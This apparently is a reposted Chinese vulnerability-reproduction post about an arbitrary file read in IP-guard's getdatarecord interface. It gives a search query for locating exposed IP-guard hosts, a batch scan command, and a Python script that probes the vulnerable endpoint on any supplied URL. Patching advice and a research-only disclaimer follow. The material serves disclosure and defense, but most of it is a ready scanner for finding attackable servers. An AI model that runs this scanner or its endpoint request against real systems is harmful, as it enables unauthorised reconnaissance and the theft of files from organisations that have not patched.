app="IP-guard"
python3 main.py -f url.txt -p ip-guard-getdatarecord-readfile
import requests import argparse def check(url) -> bool: try: result = False if url: response = requests.get(f"{url}/ipg/appr/MApplyList/downloadFile_client/getdatarecord") if response.status_code == 200: result = True except Exception as e: print(f"Error: {e}") return result def main(): parser = argparse.ArgumentParser(description='Check if a URL is vulnerabled.') parser.add_argument('-u', '--url', type=str, help='URL to check', default=None) args = parser.parse_args() url = args.url if url: if check(url): print("URL is vulnerabled.") else: print("URL is not vulnerabled.") else: print("-u target No URL provided.") if __name__ == "__main__": main()
1、限制getdatarecord接口的访问
2、升级ip-guard至最新版本
3、官网下载最新补丁版本:http://www.ip-guard.net
原文始发于微信公众号(SCA御盾):【漏洞复现】ip-guard-getdatarecord-任意文件读取漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论